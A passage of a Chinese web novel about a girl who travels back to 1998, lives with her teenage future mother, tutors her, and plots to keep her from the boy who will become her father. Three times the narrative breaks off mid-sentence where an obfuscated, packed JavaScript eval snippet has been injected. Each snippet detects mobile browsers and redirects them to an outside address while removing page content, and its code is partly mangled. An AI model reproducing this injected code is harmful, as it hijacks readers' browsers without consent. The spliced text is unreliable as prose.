她的金钱观念还没转变过来，在她看来这一顿比后世可便宜得多，后世一顿肯乐鸡没有四十多都下不来。而在孟沅眼里，两个薯条汉堡抵她几乎半个月伙食费，着实太过吓人。 她不敢吃，也还记着这是花的卓焱的钱。 卓惜不知道是哪来的，也很明显不是他们学校的学生，她却和卓焱同班，要找麻烦显然是找她比较方便。 孟沅再三纠结，还是喏喏开口：“我觉得这样不太好……” 她声音实在太小，晃着腿四处张望的卓惜压根没听清，问了句“啥”，又看她没吃，捻了根薯条塞她嘴里。 “吃啊吃啊，冷了就不好吃了。” 孟沅：“……” 她默默嚼完那根薯条，卓惜又塞来一根。反复了两次还找到了投喂的乐趣，孟沅赶紧捂着嘴往后躲，口齿不清地求饶：“我…我住己吃就行！” 一顿吃饱喝足，卓惜总算恢复全身力气，也有多余的精力开始思考怎么坑蒙拐骗…不是，是怎么用合理的理由让孟沅收留她一下。 她真的不想再睡公园了啊！ 卓惜打了个嗝，又咳了两声清嗓，开始瞎编：“我知道这样跟你说可能有点冒昧，但是能不能请你暂时收留我一段时间？是这样的……” 要解释是她女儿这件事实在有些麻烦，她说穿越这种魔幻的真话反而很难让孟沅信，索性编点瞎话。 卓惜初中那会儿流行复仇小说，她还跟着写过一本身世极为凄惨的女主亲妈去世，在经历爹不疼爱、继妹陷害、后妈赶出家门后被路边老头收留，送去□□修炼的非主流脑残小说。 对这种瞎话她信手拈来，很快给自己塑造了一个乍一听还挺贴近她自身现实，仔细想其实各种浮夸的美强惨人设。 至于叫孟沅妈妈那件事，也被卓惜含糊解释成了她和她妈妈年轻的时候很像，所以昨天看到她才会不受控制地哭了。 孟沅的眼中渐渐出现动容，最后还泛起了泪光，十分愧疚：“啊…对不起，没想到你是这样过来的。” 卓惜差点破功，很想说一句春晚经典台词。 孟沅深呼吸了一个来回，心中闷堵才散去，她这次没再纠结，郑重其事地开口：“其实我现在是一个人住，可以收留你一段时间，等你爸爸来找你或者你找到工作再回去也没关系。” “他不会找我的。”卓惜故作可怜地吸了吸鼻子，“你放心，我不白住，后面我会想办法还给你的，平常也可以帮你做做卫生。” 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981491|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话她也说的挺心虚，因为她以前就没做过卫生。 孟沅带她回家。 有了前面的卖惨，路上她也顺理成章套路到不少孟沅的事情。 孟沅父母在她很小的时候就离婚了，她妈妈很快就离开，把她丢给爸爸。爸爸对她其实也没什么感情，但不至于把她扔了，就这么有一搭没一搭的凑合养着。 奶奶从一开始就看她妈妈不顺眼，她妈妈一走，刁难对象就变成了她。平常会被指使着做各种家务活，一点不顺心就罚她下跪不准吃饭。 后来她爸爸娶了新老婆，后妈又生了个小男孩，她的日子就更加煎熬。她想跑，花了很久的时间做心理建设，终于在有一天夜里摸黑跑了。 孟沅不知道妈妈在哪，手里攥着的是偷偷从奶奶的旧联络簿里翻到的外婆家地址。一路心惊胆战的从孟家村里走了将近三个小时才到十公里外的上河村，差点抬不起手敲门。 外婆是孟沅来了之后才知道她在家里的经历，看着她一身被揪打出来的伤和手上的冻疮，很快抱着她哭。 外婆告诉她，以后她来养她。 孟沅后来累得睡着了，迷迷糊糊间听到外婆似乎在跟妈妈打电话，破口大骂着什么，但那场面令她少有的觉得安心而不是战栗。 外婆带她来了临禾，见了妈妈。 她也是那时候才知道，原来妈妈也已另有家庭，肚子里还怀了孩子。对方在临禾小有来头，还给妈妈谋了个区县教育行政部门的好工作。 妈妈不希望她们祖孙俩打扰她现在的生活，但看着孟沅的样子也确实觉得亏欠，就给她想办法安排进了临禾这边的中学。 外婆变卖了村里的地和房子，在中学附近买了个小两居，祖孙俩就这样过了下来。孟沅母亲也会隔几个月来一次，给她们送点吃的和钱。 直到孟沅高一，外婆因为严重心衰去世。妈妈承诺承担她读完高中的学费生活费，条件是她不要打扰她的生活，路上碰见也要装作不认识。 孟沅其实不想读书了，但外婆临终前对她唯一的嘱托就是好好读书出人头地，所以她答应了。 后来，她们都做到了自己的承诺，一年见不上两次面，在外更是形同陌路。 听到这里，卓惜停下了脚步，来回调整了几次呼吸，在孟沅不解的目光中说：“不会了。” 孟沅茫然。 卓惜认真朝她说：“你不会再是一个人了。” 你还有我。 如果说昨天那些念头只是一时幼稚兴起，那这一刻，卓惜心中仿佛有了一团烈火开始燃烧。 她一定要改变孟沅的命运！ 让那些伤害她愧对她的人看着孟沅光辉灿烂，后悔也来不及！ — <○> “哦呦！欧呦！这大彩电！” 叶明鑫双眼放光围着卓焱家新买的彩电摸得爱不释手，脸恨不得贴上屏幕看，手往后伸：“三木！快！我碟子呢？” 陈北森无语掏出碟片拍他手里：“给给给，瞧你这没见过世面的样儿？出去别说认识我。” 叶明鑫呵的一声收回手，熟练按下碟片机出仓，把碟放进去，又伸手：“遥控器遥控器。” 陈北森这次不惯着他了，照着他手来了一巴掌。方浩已经跑去沙发靠着了，不满冲叶明鑫嚷嚷：“怎么回事金子，你到底是来看电视还是来照脸的？” 叶明鑫哼哼，不情不愿起来，自己去拿遥控器。 卓焱嗤了声：“出息。” “噔噔噔—噔噔噔——” 前奏响起，叶明鑫嘴闲不住，立刻操着一口极其塑料的难听港市话跟着唱了起来：“狼邦噔噔噔，狼牢噔噔噔，万雷涛涛刚水永八有~” 惹来群情激奋：“闭嘴啊王八蛋！” “你再唱？老子502呢？” “怎么啦怎么啦？就唱就唱！”叶明鑫不服，嘚瑟间余瞥了一眼已经走远的卓焱，立刻又叫嚷起来，“喂喂喂，卓三火你干嘛去？不跟我们一起看了？” 卓焱头也不回上楼：“早看完了，你们自己看。” 没搭理吱哇乱叫的叶明鑫，他径直上楼进房间反锁房门，小心翼翼从桌子玻璃板下压的花纸层下摸出一张两寸照片。 他多的是办法接近她，就是怕吓着她。 这下好了，机会送上门了。 盯着看了会儿，他倏地弯起唇，轻咬牙戳了下照片里人的鼻尖，自顾自低声哂笑： “看你再怎么跟我装不熟，嗯？” 4. 一张旧照 “到了，进来吧。” 孟沅率先进了门换鞋，替她拿了一双备用的拖鞋，带毛边的黑色老式拖鞋，上面还有一朵朵盛开的海棠花。 入门手边是绿色拼接鞋架，右手边还有个齐腰高的黄木柜子，上面铺着一片暖黄色毛线勾的盖巾，孟沅拉开第一个抽屉把钥匙放了进去。 卓惜换上鞋跟着她一起往里走，只觉得目不暇接。 以前孟沅就很会装饰家里，那时家中各处都能看见她的手工艺品，精致又讨巧。 各种柜子上都盖上了用糖果色调的毛线勾成的盖巾，沙发上那片最大，用了很多颜色，勾成了一副巨大的花园。上面还搭着条毛茸茸的毛毯，四角有毛绒球。 角落的墙上打了个小架子，上面放了老人的照片，两边各一根香烛，前面还有个小香炉，里面都是燃烬的香灰。下面有个小腿高的柜子，旁边还放了两桶线香。 这会儿功夫，孟沅已经去厨房洗了手，来到老人面前，熟练从柜子里拿出了打火机，抽了三根线香点燃。 从她的口中，卓惜确认了老人的身份，是她素未谋面的姥姥。她忍不住多看了几眼，照片中的老人很和蔼，眉眼弯弯，和孟沅一样，给人一种想要靠近的亲和力。 等孟沅上完香，她纠结了一会儿还是出了声：“我也可以祭拜一下吗？” 孟沅愣住，似乎是没想到她会提出这样一个请求，旋即点头同意。 卓惜也拐去洗了手，拿出三根线香，点燃，虔诚看着眼前的照片，在心中默念。 等她也上完香，孟沅带她去看房间。外婆的那间虽然很久没有人住，但她也隔三差五在收拾，里面很规整。她自己那间就显得有生气得多，点缀着一些小女孩家爱的装饰。 “被子床单都是我前几天才换过的，很干净，你可以放心睡。”孟沅看了看她的衣服，这会儿也看出来应该是某个学校的校服，犹豫着问，“你的…校服，要不要洗一洗？我这里还有衣服，也可以先借给你穿。” 卓惜看她表情，又低头看了看自己的衣服，沉默着点点头。 在十七岁的妈妈面前邋里邋遢的，还真是有点不好意思…… 孟沅又带她去自己房间衣柜里翻找衣服，卓惜眼尖看到了一排衣服里夹杂的那一抹浅紫色，顺着尖尖扯出来，果然是那条淡紫色碎花连衣裙。 孟沅却误会了：“你想穿这个吗？但是现在已经快十一月了，会比较冷的……” 卓惜猛地摇摇头：“不是不是，我是想问，就是，你之前有穿着这条裙子出去玩或者拍照什么的吗？” 孟沅虽莫名，却也顺着回忆了一下：“嗯…有，之前学校组织活动穿过一次，好像有拍照。” 卓惜眨眨眼：“照片还有吗？我能看看吗？” 原来在还要早的时候，卓焱就惦记上她妈妈了！ 孟沅欲言又止：“你想做什么？” “就是有点好奇。”卓惜也意识到自己的行为落入孟沅眼中有多莫名，故作委屈茶言茶语，“我还从来没有出去玩过，好羡慕你。” 亏得她前面的铺垫，这招果然奏效，孟沅很快从抽屉找出了自己的相册翻给她看。相册应该很有些年头，前面是姥姥年轻时的照片，还有外婆出生时的照片，再往后翻才是孟沅出生后的照片。 孟沅的照片其实不多，看似厚的相册里，她占的页数两只手就数得过来，很快就能翻完。 而最近的也是去年的了，就是她曾经看到过的，卓焱宝贝得不行那张。 卓惜也有一本相册，完全属于她自己，每一个年龄阶段的变化记录得清清楚楚。因此，看到孟沅这寥寥数张照片时，一股强烈的酸楚感涌上心头，鼻尖都跟着泛疼。 眼眶热了起来，她努力捱住，不想孟沅看出异样。别过脸快速调整了几次呼吸，她点点那张照片：“你还记得这张是谁拍的吗？” 孟沅垂眸，颔首：“我同学拍的。” 卓惜咬唇点点头：“很好看呀，你以后也可以多这样打扮。我后面去看看工作，要是挣钱了，你带我出去玩好不好？我还没来过临禾呢。” 十七岁的人，居然连属于自己的相片都没有几张，却在她的成长过程中给了她一个小孩能拥有的所有一切。 其实她的童年除了那些奚落讥讽以外，并不残缺。或许是因为孟沅知道自己童年的缺失，所以想要尽可能的让她不要像自己一样。 她要想办法挣钱，争取让孟沅过上好日子。 她妈妈，就是天底下最温柔漂亮的妈妈，不应该被这样苛待。 孟沅诧异：“你…不准备上学了吗？” “不想上了，反正上学对现在的我来说也没什么必要。”卓惜摇摇头，现在妈妈就在身边，没有什么比她更重要。 孟沅想劝说什么，但想到她家里的情况，又不好反复提及去戳她心窝。想了想说：“那你有空的话可以仔细说一说你印象中的妈妈长什么样子，叫什么名字，我可以帮你打听看看。” 卓惜之前糊弄她时说自己是来临禾找妈妈的，这会儿也含糊打岔过去，抱起她给她找的衣服：“嗯好，我我先去洗个澡，晚点再仔细想想。” 躲进厕所，她看着面前墙上粘的大圆镜里那双泛了圈红的眼，终于克制不住落下了泪。 她以前总觉得自己很不幸，出生在这样的家庭让她无时无刻不感到自卑。整个人无孔不入地被各种负能量笼罩，愤世嫉俗厌恶一切。 但妈妈还那么小就被外婆抛弃，多年来相见不相认，却还那么温柔善良。 她甚至不敢深想孟沅这些年究竟是怎么过来的。 只要一想，就忍不住流泪。 - ∞ - 她洗完澡出来，孟沅在写作业，不自觉用下巴去戳笔帽，一点一点，小鸡啄米似的。 刚躲在厕所压抑着哭了一场，情绪也算释放了大半。看见孟沅这模样，嘴角下意识扬了扬，随后就走了过去。 孟沅纠结地很投入，没有注意到她靠近。 卓惜低头看了眼她踟蹰的题目，是英语阅读理解，她不过看了几眼就报出了答案：“这题选D，主旨题的话你就直接看首尾加关键词就好了。ABC三个选项和首尾段落里都没有重复关键词，只有D选项这个关键词有对应，直接选D就行。” 她们老师给出过做题诀窍，大部分题只要掌握了方法融会贯通，都是一样的。卓惜常年稳居年级前十，题刷多了已经形成了肌肉记忆，扫了几眼题目就有了答案。 孟沅茫然：“什么主旨题？” 卓惜一顿：“你平常是怎么做的？” 孟沅老老实实告诉她，她属于那种会先习惯性把整篇文章都看下来，且还不一定能完全看懂。卓惜一听就觉得效率实在太低，随后跟她讲起阅读理解题型分类和做题技巧。 过程中，她发现，孟沅基础其实也不算太差，主要是没有用对方法导致浪费了很多时间，如果掌握了方法效率应该能提高不少。 孟沅背词也是有点傻傻硬背的那种，但能硬记住，词汇量不算太少。问题最重的反而是口语部分，长单词音节重点读不对，有时候还夹杂点口音。 据她所说，她们老师都是临禾人，临禾方言抑扬顿挫感比较强，且音调总是容易拐到意想不到的地方。尤其英语老师上课爱强调重点，久而久之把班上不少同学都带的有点怪调。 卓惜哭笑不得，干脆大手一揽让她找找她各科的卷子出来，先摸个底。 还好让她比较欣慰的是，孟沅除了英语和数学稍微差点，语文和文综成绩都还可以，现在排在班上中偏上游。虽然现在已经高三了，但一切还来得及。 原本卓惜还想着大展宏图改变孟沅整个人生，看了眼她的成绩，嗯，还是先从眼下抓起吧。英语部分问题最大，数学其次。 不行还是想想办法去陪孟沅上学吧？上学下学一起抓效率更高不是？还可以防止卓焱觊觎她妈。 卓惜若有所思，回过神就开始给孟沅恶补英语，直接从发音部分开始教。 孟沅万万没想到卓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981492|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜这么厉害，如果说先前是不知道为什么动了恻隐之心，现在就是心服口服，她怎么教她就怎么学。 学了两个多小时，口音虽还没能完全给纠过来，好在技巧上进步很大。 时间不早，她还得完成作业，卓惜就暂且放过了她。 钻回姥姥房间，她双手交插垫在脑后，脚在被子里翘起个小山峰，胡思乱想半天后盘算起自己的计划来。 原本的计划被她在心里划掉重新制定： 1.给孟沅补习，争取高考考个好成绩。 2.和孟沅成为朋友，多陪陪她。 3.想办法挣钱，带孟沅买好吃的和漂亮裙子，把孟沅小时候的遗憾尽可能弥补一些。 4.阻止卓焱孟沅在一起，阻止不幸，阻止…她出生。 山峰变回平原，卓惜盯着水泥天花板，一时间不知道自己在想什么该想什么。又干躺了好一会儿，她猛地弹起来，抱上被子径直去敲孟沅的房门。 孟沅刚写完作业，起身开门看到她抱着被子，不解地看着她。 卓惜再次使出可怜巴巴撒娇大法：“我今晚可以和你一起睡吗？有点害怕…放心，我会很老实的！” 孟沅其实很想拒绝，她睡眠浅，旁边有一点动静都难以入眠。但看着眼前女孩素静的小脸，心中那点情绪又悄无声息跳跃起来，片刻，她让开身：“进来吧。” 边让，边忍不住叹了口气，在心中质问自己。 她也不知道到底怎么了，又或者是卓惜有什么魔力？她今天真的做了太多她以前从来不会做的事情。 但或许是今天学了很多知识，也挺累了，平常还需要静躺很久放空自己才能入睡，今天却很快就酝酿出了睡意。 卓惜没说话，直到听到她轻浅平稳的呼吸声，才睁开眼，忍不住悄悄小幅度挪动了一下身体，看向旁边的孟沅。 盯着孟沅看了好久好久，久到她可以清晰在脑海中刻画出她恬静的睡颜。 卓惜几乎是用气声说：“妈妈，晚安。” — <○> 高二暑假前夕，班级组织了一次夏季素质拓展活动，为了引导学生劳逸结合。 这是高中除高一军训以来唯一一次校组织活动，也算是给他们紧张的生活松懈下压力，大家兴致都很高。 不过这场活动对孟沅来讲聊胜于无，和平常差别也不是很大。 别人在大巴上嘻哈热聊时，她靠着窗在刷语文卷;别人在抱团玩游戏时，她坐在远处轮胎铁链缠成的秋千上刷数学卷;别人一起分零食吃饭时，她左手捏着筷子偶尔往嘴里送几颗米，右手里还握着笔在做英语阅读理解，这向来是她短板。 别人也不会在意她在干嘛，到哪里去了，看到可能还会偷偷腹诽一句不理解，煞风景。 反正她总是这样，成绩不好不坏，卡在中上游。人缘不好不坏，谁都可以说上两句话，谁都不熟。就连老师偶尔可能也会忘记了班上还有她这么个人的存在吧。 等刷完了带来的卷子，她也不知道干什么好，坐久了屁股疼，感觉像卡了个轮胎，就站起来到处转转。 这边是临城一个著名旅游景点，风景特别好，有一条长坡的绿坪。已经下午五点了，太阳下山，好多人聚集在一块儿似乎在拍照。 孟沅特地绕开他们，从旁边走，风阵阵悠来，她也一点点放松了一直紧绷的肩膀，漫无目的走着。 “孟沅。” 一道略显玩世不恭的男声，语调上扬喊了她的名字。 她下意识应了声看过去：“啊？” 卓焱径直朝她走来，没问她在干嘛，没问她为什么不和大家一起，只是晃了晃手中相机：“我帮你拍张照吧。” 听着像问，又不是问。 因为他相机已经举起来了。 孟沅本能紧张起来，手都不知道往哪里放，抿唇看着镜头，又怕显得太局促无措。 于是慢慢地，试探着，嘴角微扬起些许弧度。 冲他生涩地笑。 5. 阻止重演 卓惜一觉睡醒的时候，孟沅已经上学去了，旁边的床头柜上还放了一碗已经凉掉的小米粥和一颗水煮蛋。 早上孟沅上学前其实叫过她一次，但她无意识哼唧了几声没肯起，孟沅就说把早餐放这儿了，让她记得吃。 等真正清醒过来，看着陌生的环境，卓惜有短暂的茫然放空。半坐起身来发了好久的呆，才有些后知后觉这里是哪里。 她没忍住伸手在胳膊上掐了一把，痛得龇牙咧嘴的，又忙不迭去搓被自己揪红的那一小块肉。 这一切都不是幻觉，也不是她做梦，她真的来到了1998年。 卓惜温吞掀开被子，被冻得缩了回去，左右张望了一下，才发现孟沅把给她找好的一套衣服放到了那边板凳上，包括新的内衣和袜子。 她快速掀开被子风风火火跑过去，把衣服捞回被子里，借着被子里的温度把衣服稍微捂得没那么凉了再穿。 孟沅书桌上方墙面打了个四层的书架，里面放着她这些年的学习资料，以及一些别的书籍杂志。 这个时候像她小时候记忆中爆火的花火啊意林那种都还没有出来。除了《青年文摘》《读者》这样的综合文摘杂志，以及《花城》这样的纯文学杂志以外，她眼尖看到了几本言情，什么京华烟云和烟雨濛濛之类的。 随意翻看了一些，她脑子里忽然涌现了一个想法。 这个时候网络文学还不发达，很多小说都是自行向杂志出版社投稿，题材也和后世有很明显的区别。 她承认她有点小时候的情怀在，现在这些都不是很对她的胃口。不知道在这个时代写青春疼痛文学之类的能不能受欢迎啊？ 卓惜决定出去打探打探情况。 快速喝了粥洗了碗，把鸡蛋带出门边走边吃。 孟沅家离学校不是特别远，昨晚她特地记过路，路过临禾一中往里看了眼，外面没人，大概都在教室上课。再走个十来分钟，就能到街上，她没吃饱，又逛了逛。 昨天饿的慌，对这个时代的钱还没来得及建立起一个概念，这会儿清醒着逛，才发现昨天小吃一顿肯乐鸡到底有多奢侈。 现在还有六十四块钱，是她全部的身家。 最后，她纠结着买了个老式红枣糕，花了五毛钱。 以前从没缺过吃穿用度，一时间手里紧巴巴还怪不适应。卓惜默默叹了口气，朝人打听书店的位置，往那边去。 花了大半天时间看了下这个时代言情文的风格走向，其实也有霸道总裁爱上我和公主王子的，但叙事风格差别很大，让卓惜有点摸不准底。 她也了解了一下现在的投稿方向，准备写点东西投递到出版社试试看，万一呢。 卓惜语文成绩一直很好，作文也是次次高分。这次也是头一回任性，主要当时看到那个题材，她觉得很讽刺，一时情绪上头才赌气交了白卷。要不是只是课堂测验，老师才不会那么轻易放过她。 打听好了投递方式和几家出版社不同的征稿方向，卓惜也借着为数不多的记忆，看看那些出版社名字里有没有她熟悉的编辑和作者名，很可惜暂时还没有收获。 她现在没条件，也不知道去哪里找那些她那个时代大火杂志的创刊编辑，只能作罢。 买了一本有点感兴趣的杂志，刚结完账，忽然瞥到旁边的报架上报纸粗黑的标题：卓越光华远销海外！再创新绩！ 想起好像孟沅提起过，跟卓焱有点关系，她顺手也拿了一份。 结完账，卓惜有点肉痛，但还是找了个地方仔细看起来。这份临禾晚报专门报道一些临禾各地的新见闻，这张最大的版面就是关于卓越光华的起家史发展史，如何从一个小小的木匠一步步创立品牌甚至销往国外。 卓惜看的很认真，从这份报纸里了解到了很多她不曾知道的品牌故事。 卓焱的父亲，也就是她爷爷卓越，家里往上数三代都是木匠，十里八乡谁家缺个凳子桌子的都是他们给做。到了卓越这一代，时代在快速发展变化，他读过书，眼界稍微宽阔一些，也就不再甘于只做一个木匠。 后来，卓越遇见了沈光华，也就是她奶奶。据说那是一个很雷厉风行精明干练的女人，眼光毒辣，也能精准抓住风潮，在行业还没有形成规范时就开始经营起了品牌概念。 也就有了后来的卓越光华。 当然，他们一开始也没有那么顺利，只是从小店做起。也是一步步走上来，扩大规模，从木料厂工人，到有自己的门店，到家具城，打响品牌名气。逐渐扩大规模，通销全国，每一步都稳扎稳打。 如今临禾本地人家具基本都是认准卓越光华购买，毫不夸张的讲，卓越光华也已经成了国内家具行业的头部品牌。 这也就加剧了卓惜的不解。 卓焱以前说他是孤儿，她没有爷爷奶奶，至于外公外婆也在很远的地方，母亲和他们早已没有联系。 可现在，卓焱分明家境优越和睦，未来到底发生了什么？ 心底疑团越来越深，她想要抽丝剥茧，又不知从何下手。 - ∞ - 临禾二中。 一中和二中之间足足隔了一座小山，恨不得跨了小半个区，走了二十分钟一路打听她才走到。 吃了个饭中午又回去看完杂志，说干就干，开始写起小说。但是小说这东西吧，看三千字三五分钟，真写三千字才知道最低一个小时起步，还需要构思很多东西，首尾呼应情节起伏都要考虑进去。 卓惜光写个六千字的小短篇，就花了一下午的时间，反复删改，废了好几个稿才总算有一篇写的还算满意。 她写的是个幻想轻小说，比较童趣，准备先投收儿童文学的杂志社看看。至于别的，下次再说，她现在是没那个精力了。 昨天听孟沅提过，他们学校还挺讲究人文关怀的，不按成绩来划分，免得对学生心理造成负担压力。高一高二五点半就放学了，高三会比低年级多一个半小时的单课小考测验时间，但最晚也就六点放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981493|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学。 六点半之后保安和教导主任都会巡查，学校里尽量不允许拖堂留人。 这对于后世的学校来说基本是不可能的事情，卓惜上初中那会儿就已经开始上晚自习了，天天晚上九点钟才放学，高中就到了十点半。 但别看临禾风气不那么卷，他们学生成绩普遍来说都还不错，本科率占比相较其他普高来说还比较高。学生身心健康，自主学习能力就比较强。 孟沅的成绩一般，也只是相对校内来说，跟其他学校对比的话可以说是绰绰有余。 现在已经六点半了，想必篮球赛也该开始了。 二中门口保安没有一中那么严，卓惜很轻松就混了进去，路上就听到了刚从小卖部走出来的女生热络讨论着篮球赛的事。 她默默跟在两人后面，越往里走人越多，挤着挤着脾气都给硬挤没了，最后几乎是被人群推着走。 现在的篮球场自然没有后世的硅PU地坪工程，就是普通水泥地，地上的投篮线是拿白颜料画的，画的还有点不整齐。 篮球场整体也比较小，三面都是铁栅栏围墙，后面是校外绿林，左边这条路通往教学楼，右边有建公厕。正面已经围满了人，大部分都是来看热闹的女生。 卓惜硬着头皮挤了进去，成功一眼就看见了卓焱的身影，无他，和别人相比他外貌条件实在优越的过分。听着旁边窃窃私语，她就确定今天这起码半篮球场的人都是冲着卓焱来的。 她就这样看着他灵活穿梭和队友打着配合，不断进分。卓焱笑得热烈耀眼，在又一个三分球后扬臂与队友击掌。 黄昏的光影通过叶隙分化细碎，洋洋洒洒落在少年身上，给他整个人镀上一层金色光晕，就连顺着下颌滴落的汗珠都好似泛着光泽。 周围人声鼎沸激动叫好，越发彰显着蓬勃喧嚣的朝气。仿佛他本就如此，也应该如此，自由、恣意张扬。 “意气风发”这个词在此刻体现得淋漓尽致。 而越是这样，卓惜就越发沉默。 直到中场休息，她无视旁人你推我搡内敛羞涩地踟蹰，径直向休息区走去，站在了卓焱面前： “卓焱，我们聊聊吧？” — ○> — “卓惜，你回来了？” 孟沅回来第一时间没看见她，差点还以为她没打招呼就走了，看到桌上纸条才知道她出门了，又不免担心她人生地不熟迷路。 好在全须全尾回来了。 卓惜情绪不高，只恹恹点了头，想回房间休息一下。孟沅问她吃不吃饭，她也拒绝了。 这次她回了外婆房间，一把瘫倒在床，把脸埋进被子里，快窒息才扭开。 愁绪萦绕心头，无形闷堵。她其实也不知道这样做对不对，但…不，她就是对的。 卓惜攥紧枕头，捏到拳头泛白。 她是从未来来的，只有她知道未来是什么模样。 那样可悲的人生她宁可不要，也得阻止这一切重演。 6. 天塌了啊 接下来两三天，卓惜基本都在构思下一个故事，现在的话写短篇比较有优势，成本也比较低。长篇内容她没有写过，轻易下手对前期来说投入太高了，果断先放弃。 同时也在孟沅放学回来后抓她的学习，卓惜上的是省重点高中风气很卷，成绩能屹立不倒可以说百分之七十靠脑子不错。有她帮孟沅补习，教学习方法，效果立竿见影。 终于，在三天后，卓惜换了一家出版社投稿她的青春疼痛文学大作时，也收到了上一家儿童文学杂志寄过来的过稿通知和稿费取款单。 那家儿童文学稿费在千字20到60之间，卓惜那篇给开了30块，一个不算太高也不算太低的价位，这篇赚了180块钱。 这个年代的180可不像后世的180，还是比较经花的。她不是抠搜苛待自己的性格，没钱也不乐意省吃省穿。外衣孟沅可以借，内衣相对私密，不太好借，还得自己买。 这两天买衣服加吃喝把她那点钱花个精光，还好这笔钱及时到账，不然她就得花孟沅的钱。孟沅一个人生活，钱最多也就够她日常使用，住这几天卓惜就已经看出了她的节俭。 卓惜兴冲冲拿着取款单去银行取钱，却被告知需要出示身份证，没有身份证不可以取钱。 她只觉得眼前一黑。 那会儿投稿要填资料的时候，她就图方便直接把自己身份证号年份改到了81年，那会儿没想太多，现在才惊觉自己还忽略了这个最重要的问题。 她在这个世界没有身份证，妥妥的黑户一枚。 天塌了啊！ 卓惜僵着小脸木木走出银行大厅，大脑飞速运转。 怎么别人穿越就是各种金手指，随意暴富，也不用考虑身份问题。她穿个越啥金手指也没有，不是管闲事就差点错过她妈不说，勤勤恳恳写了一下午文赚的这么点血汗钱还取不出来。 卓惜心梗，浑身刺挠。 但现在也不是伤春悲秋的时候，她得想办法把这个最重要的事情给解决。 卓惜深吸一口气，很想努力振作起来，却忍不住仰天长啸：“啊啊啊老天爷！我再也不叫你爷了！你是真把我当孙子耍啊！” 路人被这一嗓子吓了一跳，以为她疯了。纷纷远离。 卓惜嚎完，什么也没有改变，垂头丧气。 不远处。 两个少年凑在一起，听到这动静也看了过来。 方浩蹙着眉辨认了一番，抬肘戳了戳一旁的叶明鑫：“诶，金子，那不是那天认焱哥当爸那丫头吗？” “什么？”叶明鑫反应了一会儿，才看清卓惜那张脸，“嘿，还真是。” 他说罢就要过去，方浩拉了他一把：“干嘛去？” 叶明鑫下巴挑起：“跟那丫头扯两句，那天在二中她不知道跟三火俩人聊了什么，后半场三火整个人都不对劲，这两天也是。” 方浩那天被叫回家没在，但这两天卓焱心情不好他们哥几个都看在眼里，又不敢去招惹，生怕说错什么话：“我说他这两天怎么状态不对。” 方浩再没拦他，只嘱咐：“快点儿的啊，说两句得了，也别真吓着人家，咱就一个小时了。” 他们俩是午休放弃吃饭时间溜来这边上网的，整个临禾也就这么一家网吧。电脑也是奢侈品，家里不给买，想玩只能来这儿。 即使网费稍贵，但心痒。 可惜陈北森和卓焱俩人被老师抓去教育了，他俩前段时间的考试又在班上垫了底，老师恨铁不成钢。每到这种时候，叶明鑫和方浩就在心中暗自庆幸虽然成绩也不怎么样，但起码也比他们俩强点。 叶明鑫看了眼手表：“知道了，心里有数。” 方浩在原地等他，想了想，还是跟上去。 主要吧，那姑娘其实看着也没那么好惹，跟他焱哥说话都不带客气的，万一等会儿聊两句薅起来了可不得了。 叶明鑫走近，自以为气势很足，还特意双手插裤兜，一副玩世不恭鼻孔看人的模样：“喂！” 卓惜看见了一双黑中勉强见白的运动鞋，视线往上是一条洗到些许泛白的牛仔裤。紧接着是件同样泛白的牛仔外套，不嫌冷的敞开着，里面还叠了件灰棕色针织毛衣。 她莫名其妙听那趾高气昂的语气，抬眼的时候脸跟着板了起来。却在看清那人长相时一瞬间激动起来，声音跟着笑容一并扬起：“叶爸？！” “我爸你大……哈？”叶明鑫都预判到对方要骂人了，反应过来时硬生生转了话锋，整个茫然住。 他没听错吧？ 刚刚这丫头是在叫他？ 下一秒，他就确定了他真的没听错。因为眼前姑娘眼含热泪，看他仿佛看一把救命稻草，张手就抱了过来：“叶爸！原来你也在！” 卓惜激动疯了。 卓焱孟沅好友不多，这么些年一直在一起的就她叶爸一家。他也一直对她很好，好到小时候她无数次幻想要是叶爸是她爸就好了。 她一直很羡慕叶垚叶淼，从小就在幸福中长大。 叶明鑫哪见过这杖势，吓得动都不敢动，立刻把插兜的手举到半空以示清白，语气结巴：“诶诶喂，放放开我啊，你干嘛？” 以前倒是多少见过些热情往卓焱身上凑的姑娘，他还幸灾乐祸看过好戏，现在换成自己才知道有多惶然。他不住往旁边看，生怕别人误会什么。 “浩子！你还看什么！快给人拉开啊！” 方浩也傻眼了，回过神来把人拉开。 卓惜被猛地拉开，懵了会儿才平复情绪，冷静下来后突然反应过来似乎也前不久才见过他们的身影。好像是在…她穿来第二天找孟沅的时候？！ 